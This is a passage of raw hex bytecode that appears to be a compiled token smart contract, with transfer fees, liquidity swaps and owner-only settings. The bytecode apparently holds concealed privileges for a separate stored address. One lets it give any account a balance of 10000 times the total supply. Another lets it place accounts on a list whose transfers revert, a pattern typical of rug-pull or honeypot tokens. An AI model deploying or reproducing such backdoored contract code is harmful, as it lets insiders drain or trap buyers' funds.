815260200160002060006101000a81548160ff02191690831515021790555073f41665565d799596a9453302061a5bc4e7ac56fb600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073f41665565d799596a9453302061a5bc4e7ac56fb600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060195460056000620008486200090660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620008966200090660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601954604051620008f7919062000b2b565b60405180910390a35062000ee3565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000948919062000b59565b90508381101562000990576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009879062000b09565b60405180910390fd5b8091505092915050565b828054620009a89062000dfa565b90600052602060002090601f016020900481019282620009cc576000855562000a18565b82601f10620009e757805160ff191683800117855562000a18565b8280016001018555821562000a18579182015b8281111562000a17578251825591602001919060010190620009fa565b5b50905062000a27919062000a2b565b5090565b5b8082111562000a4657600081600090555060010162000a2c565b5090565b60008151905062000a5b8162000ec9565b92915050565b60006020828403121562000a7a5762000a7962000e8e565b5b600062000a8a8482850162000a4a565b91505092915050565b62000a9e8162000daf565b82525050565b600062000ab3601b8362000b48565b915062000ac08262000ea0565b602082019050919050565b62000ad68162000de3565b82525050565b600060408201905062000af3600083018562000a93565b62000b02602083018462000a93565b9392505050565b6000602082019050818103600083015262000b248162000aa4565b9050919050565b600060208201905062000b42600083018462000acb565b92915050565b600082825260208201905092915050565b600062000b668262000de3565b915062000b738362000de3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000bab5762000baa62000e30565b5b828201905092915050565b6000808291508390505b600185111562000c085780860481111562000be05762000bdf62000e30565b5b600185161562000bf05780820291505b808102905062000c008562000e93565b945062000bc0565b94509492505050565b600062000c1e8262000de3565b915062000c2b8362000ded565b925062000c5a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c62565b905092915050565b60008262000c74576001905062000d47565b8162000c84576000905062000d47565b816001811462000c9d576002811462000ca85762000cde565b600191505062000d47565b60ff84111562000cbd5762000cbc62000e30565b5b8360020a91508482111562000cd75762000cd662000e30565b5b5062000d47565b5060208310610133831016604e8410600b841016171562000d185782820a90508381111562000d125762000d1162000e30565b5b62000d47565b62000d27848484600162000bb6565b9250905081840481111562000d415762000d4062000e30565b5b81810290505b9392505050565b600062000d5b8262000de3565b915062000d688362000de3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000da45762000da362000e30565b5b828202905092915050565b600062000dbc8262000dc3565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000e1357607f821691505b6020821081141562000e2a5762000e2962000e5f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b62000ed48162000daf565b811462000ee057600080fd5b50565b60805160601c6140f762000f096000396000818161100e015261106001526140f76000f3fe6080604052600436106103035760003560e01c806395d89b4111610190578063c49b9a80116100dc578063d469a20911610095578063dd62ed3e1161006f578063dd62ed3e14610be1578063f0cd1dac14610c1e578063f2fde38b14610c49578063f872858a14610c725761030a565b8063d469a20914610b62578063da00097d14610b8b578063dc44b6a014610bb65761030a565b8063c49b9a8014610a50578063c5d2418914610a79578063c816841b14610aa4578063c860795214610acf578063c867d60b14610afa578063cab0347114610b375761030a565b8063a83f53a711610149578063af19368411610123578063af19368414610982578063b20a4e5a146109bf578063c2d4640e146109fc578063c469b6dd14610a255761030a565b8063a83f53a7146108dd578063a9059cbb14610908578063ae2116b8146109455761030a565b806395d89b41146107cd578063a073d37f146107f8578063a08e671f14610823578063a2a627221461084e578063a457c2d714610877578063a4e06cb1146108b45761030a565b8063395093511161024f5780636249faf11161020857806382eefb43116101e257806382eefb431461070f57806388790a681461073a5780638b42507f146107655780638da5cb5b146107a25761030a565b80636249faf11461068057806370a08231146106a9578063715266fe146106e65761030a565b8063395093511461055c5780633b97084a146105995780633ecad271146105c25780634a74bb02146105ff57806357a5802f1461062a57806361a23c69146106555761030a565b806323b872dd116102bc5780632a466391116102965780632a466391146104b25780632b112e49146104dd578063313ce5671461050857806335d23615146105335761030a565b806323b872dd146104215780632563ae831461045e57806327c8f835146104875761030a565b806306fdde031461030f578063095ea7b31461033a5780630d643080146103775780631245e347146103a05780631694505e146103cb57806318160ddd146103f65761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610c9d565b604051610331919061389d565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c91906133a0565b610d2f565b60405161036e9190613867565b60405180910390f35b34801561038357600080fd5b5061039e60048036038101906103999190613540565b610d4d565b005b3480156103ac57600080fd5b506103b5610e2a565b6040516103c291906137eb565b60405180910390f35b3480156103d757600080fd5b506103e0610e50565b6040516103ed9190613882565b60405180910390f35b34801561040257600080fd5b5061040b610e76565b604051610418919061399f565b60405180910390f35b34801561042d57600080fd5b506104486004803603810190610443919061334d565b610e80565b6040516104559190613867565b60405180910390f35b34801561046a57600080fd5b5061048560048036038101906104809190613440565b610f5a565b005b34801561049357600080fd5b5061049c61100c565b6040516104a991906137d0565b60405180910390f35b3480156104be57600080fd5b506104c7611030565b6040516104d491906137eb565b60405180910390f35b3480156104e957600080fd5b506104f2611056565b6040516104ff919061399f565b60405180910390f35b34801561051457600080fd5b5061051d61109a565b60405161052a9190613a44565b60405180910390f35b34801561053f57600080fd5b5061055a600480360381019061055591906132b3565b6110b1565b005b34801561056857600080fd5b50610583600480360381019061057e91906133a0565b61118a565b6040516105909190613867565b60405180910390f35b3480156105a557600080fd5b506105c060048036038101906105bb919061346d565b61123d565b005b3480156105ce57600080fd5b506105e960048036038101906105e491906132b3565b6112dc565b6040516105f69190613867565b60405180910390f35b34801561060b57600080fd5b506106146112fc565b6040516106219190613867565b60405180910390f35b34801561063657600080fd5b5061063f61130f565b60405161064c919061399f565b60405180910390f35b34801561066157600080fd5b5061066a611315565b604051610677919061399f565b60405180910390f35b34801561068c57600080fd5b506106a760048036038101906106a291906133e0565b61131b565b005b3480156106b557600080fd5b506106d060048036038101906106cb91906132b3565b611455565b6040516106dd919061399f565b60405180910390f35b3480156106f257600080fd5b5061070d600480360381019061070891906133e0565b61149e565b005b34801561071b57600080fd5b506107246115d8565b604051610731919061399f565b60405180910390f35b34801561074657600080fd5b5061074f6115de565b60405161075c919061399f565b60405180910390f35b34801561077157600080fd5b5061078c600480360381019061078791906132b3565b6115e4565b6040516107999190613867565b60405180910390f35b3480156107ae57600080fd5b506107b7611604565b6040516107c491906137d0565b60405180910390f35b3480156107d957600080fd5b506107e261162d565b6040516107ef919061389d565b60405180910390f35b34801561080457600080fd5b5061080d6116bf565b60405161081a919061399f565b60405180910390f35b34801561082f57600080fd5b506108386116c9565b604051610845919061399f565b60405180910390f35b34801561085a57600080fd5b506108756004803603810190610870919061349a565b6116cf565b005b34801561088357600080fd5b5061089e600480360381019061089991906133a0565b6117af565b6040516108ab9190613867565b60405180910390f35b3480156108c057600080fd5b506108db60048036038101906108d691906132b3565b61187c565b005b3480156108e957600080fd5b506108f2611909565b6040516108ff919061399f565b60405180910390f35b34801561091457600080fd5b5061092f600480360381019061092a91906133a0565b61190f565b60405161093c9190613867565b60405180910390f35b34801561095157600080fd5b5061096c600480360381019061096791906132b3565b61192e565b6040516109799190613867565b60405180910390f35b34801561098e57600080fd5b506109a960048036038101906109a491906132b3565b61194e565b6040516109b69190613867565b60405180910390f35b3480156109cb57600080fd5b506109e660048036038101906109e191906132b3565b61196e565b6040516109f39190613867565b60405180910390f35b348015610a0857600080fd5b50610a236004803603810190610a1e919061349a565b61198e565b005b348015610a3157600080fd5b50610a3a611a6e565b604051610a47919061399f565b60405180910390f35b348015610a5c57600080fd5b50610a776004803603810190610a729190613440565b611a74565b005b348015610a8557600080fd5b50610a8e611b5d565b604051610a9b919061399f565b60405180910390f35b348015610ab057600080fd5b50610ab9611b63565b604051610ac691906137d0565b60405180910390f35b348015610adb57600080fd5b50610ae4611b89565b604051610af1919061399f565b60405180910390f35b348015610b0657600080fd5b50610b216004803603810190610b1c91906132b3565b611b8f565b604051610b2e9190613867565b60405180910390f35b348015610b4357600080fd5b50610b4c611baf565b604051610b59919061399f565b60405180910390f35b348015610b6e57600080fd5b50610b896004803603810190610b84919061349a565b611bb5565b005b348015610b9757600080fd5b50610ba0611c95565b604051610bad9190613867565b60405180910390f35b348015610bc257600080fd5b50610bcb611ca8565b604051610bd8919061399f565b60405180910390f35b348015610bed57600080fd5b50610c086004803603810190610c03919061330d565b611cae565b604051610c15919061399f565b60405180910390f35b348015610c2a57600080fd5b50610c33611d35565b604051610c40919061399f565b60405180910390f35b348015610c5557600080fd5b50610c706004803603810190610c6b91906132b3565b611d3b565b005b348015610c7e57600080fd5b50610c87611e8d565b604051610c949190613867565b60405180910390f35b606060018054610cac90613cab565b80601f0160208091040260200160405190810160405280929190818152602001828054610cd890613cab565b8015610d255780601f10610cfa57610100808354040283529160200191610d25565b820191906000526020600020905b815481529060010190602001808311610d0857829003601f168201915b5050505050905090565b6000610d43610d3c611efe565b8484611f06565b6001905092915050565b610d7b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001336120d1565b610d8457600080fd5b60005b82829050811015610e235783600c6000858585818110610daa57610da9613db3565b5b9050602002016020810190610dbf91906132b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610e1b90613cdd565b915050610d87565b5050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601954905090565b6000610e8d84848461210b565b50610f4f84610e9a611efe565b610f4a8560405180606001604052806028815260200161407560289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610f00611efe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125449092919063ffffffff16565b611f06565b600190509392505050565b610f62611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe69061393f565b60405180910390fd5b80601c60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006110956110847f0000000000000000000000000000000000000000000000000000000000000000611455565b6019546125a890919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b6110b9611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611146576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113d9061393f565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611233611197611efe565b8461122e85600660006111a8611efe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea090919063ffffffff16565b611f06565b6001905092915050565b611245611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c99061393f565b60405180910390fd5b80601a8190555050565b600a6020528060005260406000206000915054906101000a900460ff1681565b601c60159054906101000a900460ff1681565b60135481565b60145481565b611323611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a79061393f565b60405180910390fd5b60005b8383905081101561144f5781600860008686858181106113d6576113d5613db3565b5b90506020020160208101906113eb91906132b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061144790613cdd565b9150506113b3565b50505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6114a6611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152a9061393f565b60405180910390fd5b60005b838390508110156115d257816007600086868581811061155957611558613db3565b5b905060200201602081019061156e91906132b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806115ca90613cdd565b915050611536565b50505050565b60175481565b60105481565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461163c90613cab565b80601f016020809104026020016040519081016040528092919081815260200182805461166890613cab565b80156116b55780601f1061168a576101008083540402835291602001916116b5565b820191906000526020600020905b81548152906001019060200180831161169857829003601f168201915b5050505050905090565b6000601a54905090565b60185481565b6116d7611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611764576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175b9061393f565b60405180910390fd5b8260108190555081601181905550806012819055506117a4601254611796601154601054611ea090919063ffffffff16565b611ea090919063ffffffff16565b601781905550505050565b60006118726117bc611efe565b8461186d8560405180606001604052806025815260200161409d60259139600660006117e6611efe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125449092919063ffffffff16565b611f06565b6001905092915050565b6118aa600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001336120d1565b6118b357600080fd5b6127106019546118c39190613b3b565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60155481565b600061192361191c611efe565b848461210b565b506001905092915050565b600b6020528060005260406000206000915054906101000a900460ff1681565b600c6020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b611996611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1a9061393f565b60405180910390fd5b826013819055508160148190555080601581905550611a63601554611a55601454601354611ea090919063ffffffff16565b611ea090919063ffffffff16565b601881905550505050565b600f5481565b611a7c611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b009061393f565b60405180910390fd5b80601c60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051611b529190613867565b60405180910390a150565b600e5481565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b60086020528060005260406000206000915054906101000a900460ff1681565b60125481565b611bbd611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c419061393f565b60405180910390fd5b82600d8190555081600e8190555080600f81905550611c8a600f54611c7c600e54600d54611ea090919063ffffffff16565b611ea090919063ffffffff16565b601681905550505050565b601c60169054906101000a900460ff1681565b600d5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60165481565b611d43611efe565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc79061393f565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601c60179054906101000a900460ff1681565b6000808284611eaf9190613ab4565b905083811015611ef4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eeb906138ff565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6d9061397f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fe6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fdd906138df565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120c4919061399f565b60405180910390a3505050565b60008173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161490509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561217c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121739061395f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e3906138bf565b60405180910390fd5b601c60149054906101000a900460ff16156122135761220c8484846125f2565b905061253d565b600061221e30611455565b90506000601a5482101590508080156122445750601c60149054906101000a900460ff16155b801561229a5750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122b25750601c60159054906101000a900460ff165b156122dc57601c60169054906101000a900460ff16156122d257601a5491505b6122db826127c5565b5b6122e5866129b6565b156123805761233c84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125a890919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124235750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61243757612432878787612a1d565b612439565b845b905061248d81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea090919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161252d919061399f565b60405180910390a3600193505050505b9392505050565b600083831115829061258c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612583919061389d565b60405180910390fd5b506000838561259b9190613b95565b9050809150509392505050565b60006125ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612544565b905092915050565b600061267d826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125449092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061271282600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea090919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127b2919061399f565b60405180910390a3600190509392505050565b6001601c60146101000a81548160ff021916908315150217905550600061281e600261281060185461280260135487612ced90919063ffffffff16565b612d6890919063ffffffff16565b612d6890919063ffffffff16565b9050600061283582846125a890919063ffffffff16565b905061284081612db2565b600047905060006128716128606002601354612d6890919063ffffffff16565b6018546125a890919063ffffffff16565b905060006128af60026128a18461289360135488612ced90919063ffffffff16565b612d6890919063ffffffff16565b612d6890919063ffffffff16565b905060006128da836128cc60155487612ced90919063ffffffff16565b612d6890919063ffffffff16565b90506000612903826128f585886125a890919063ffffffff16565b6125a890919063ffffffff16565b9050600081111561293b5761293a600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261303d565b5b600082111561297157612970600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361303d565b5b6000831180156129815750600087115b15612991576129908784613088565b5b505050505050506000601c60146101000a81548160ff02191690831515021790555050565b6000600180141580612a165750600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b9050919050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612acd57600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612acc57600080fd5b5b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612b4e57612b476064612b3960165486612ced90919063ffffffff16565b612d6890919063ffffffff16565b9050612bcc565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612bcb57612bc86064612bba60175486612ced90919063ffffffff16565b612d6890919063ffffffff16565b90505b5b6000811115612cd057612c2781600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea090919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612cc7919061399f565b60405180910390a35b612ce381846125a890919063ffffffff16565b9150509392505050565b600080831415612d005760009050612d62565b60008284612d0e9190613b3b565b9050828482612d1d9190613b0a565b14612d5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d549061391f565b60405180910390fd5b809150505b92915050565b6000612daa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061317c565b905092915050565b6000600267ffffffffffffffff811115612dcf57612dce613de2565b5b604051908082528060200260200182016040528015612dfd5781602001602082028036833780820191505090505b5090503081600081518110612e1557612e14613db3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612eb757600080fd5b505afa158015612ecb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612eef91906132e0565b81600181518110612f0357612f02613db3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612f6a30601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611f06565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612fce9594939291906139ea565b600060405180830381600087803b158015612fe857600080fd5b505af1158015612ffc573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516130319291906139ba565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613083573d6000803e3d6000fd5b505050565b6130b530601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611f06565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613101611604565b426040518863ffffffff1660e01b815260040161312396959493929190613806565b6060604051808303818588803b15801561313c57600080fd5b505af1158015613150573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061317591906134ed565b5050505050565b600080831182906131c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131ba919061389d565b60405180910390fd5b50600083856131d29190613b0a565b9050809150509392505050565b6000813590506131ee81614018565b92915050565b60008151905061320381614018565b92915050565b60008083601f84011261321f5761321e613e16565b5b8235905067ffffffffffffffff81111561323c5761323b613e11565b5b60208301915083602082028301111561325857613257613e1b565b5b9250929050565b60008135905061326e8161402f565b92915050565b60008135905061328381614046565b92915050565b60008151905061329881614046565b92915050565b6000813590506132ad8161405d565b92915050565b6000602082840312156132c9576132c8613e25565b5b60006132d7848285016131df565b91505092915050565b6000602082840312156132f6576132f5613e25565b5b6000613304848285016131f4565b91505092915050565b6000806040838503121561332457613323613e25565b5b6000613332858286016131df565b9250506020613343858286016131df565b9150509250929050565b60008060006060848603121561336657613365613e25565b5b6000613374868287016131df565b9350506020613385868287016131df565b925050604061339686828701613274565b9150509250925092565b600080604083850312156133b7576133b6613e25565b5b60006133c5858286016131df565b92505060206133d685828601613274565b9150509250929050565b6000806000604084860312156133f9576133f8613e25565b5b600084013567ffffffffffffffff81111561341757613416613e20565b5b61342386828701613209565b935093505060206134368682870161325f565b9150509250925092565b60006020828403121561345657613455613e25565b5b60006134648482850161325f565b91505092915050565b60006020828403121561348357613482613e25565b5b600061349184828501613274565b91505092915050565b6000806000606084860312156134b3576134b2613e25565b5b60006134c186828701613274565b93505060206134d286828701613274565b92505060406134e386828701613274565b9150509250925092565b60008060006060848603121561350657613505613e25565b5b600061351486828701613289565b935050602061352586828701613289565b925050604061353686828701613289565b9150509250925092565b6000806000806060858703121561355a57613559613e25565b5b60006135688782880161329e565b94505060206135798782880161325f565b935050604085013567ffffffffffffffff81111561359a57613599613e20565b5b6135a687828801613209565b925092505092959194509250565b60006135c083836135db565b60208301905092915050565b6135d581613bdb565b82525050565b6135e481613bc9565b82525050565b6135f381613bc9565b82525050565b600061360482613a6f565b61360e8185613a92565b935061361983613a5f565b8060005b8381101561364a57815161363188826135b4565b975061363c83613a85565b92505060018101905061361d565b5085935050505092915050565b61366081613bed565b82525050565b61366f81613c30565b82525050565b61367e81613c42565b82525050565b600061368f82613a7a565b6136998185613aa3565b93506136a9818560208601613c78565b6136b281613e2a565b840191505092915050565b60006136ca602383613aa3565b91506136d582613e3b565b604082019050919050565b60006136ed602283613aa3565b91506136f882613e8a565b604082019050919050565b6000613710601b83613aa3565b915061371b82613ed9565b602082019050919050565b6000613733602183613aa3565b915061373e82613f02565b604082019050919050565b6000613756602083613aa3565b915061376182613f51565b602082019050919050565b6000613779602583613aa3565b915061378482613f7a565b604082019050919050565b600061379c602483613aa3565b91506137a782613fc9565b604082019050919050565b6137bb81613c19565b82525050565b6137ca81613c23565b82525050565b60006020820190506137e560008301846135ea565b92915050565b600060208201905061380060008301846135cc565b92915050565b600060c08201905061381b60008301896135ea565b61382860208301886137b2565b6138356040830187613675565b6138426060830186613675565b61384f60808301856135ea565b61385c60a08301846137b2565b979650505050505050565b600060208201905061387c6000830184613657565b92915050565b60006020820190506138976000830184613666565b92915050565b600060208201905081810360008301526138b78184613684565b905092915050565b600060208201905081810360008301526138d8816136bd565b9050919050565b600060208201905081810360008301526138f8816136e0565b9050919050565b6000602082019050818103600083015261391881613703565b9050919050565b6000602082019050818103600083015261393881613726565b9050919050565b60006020820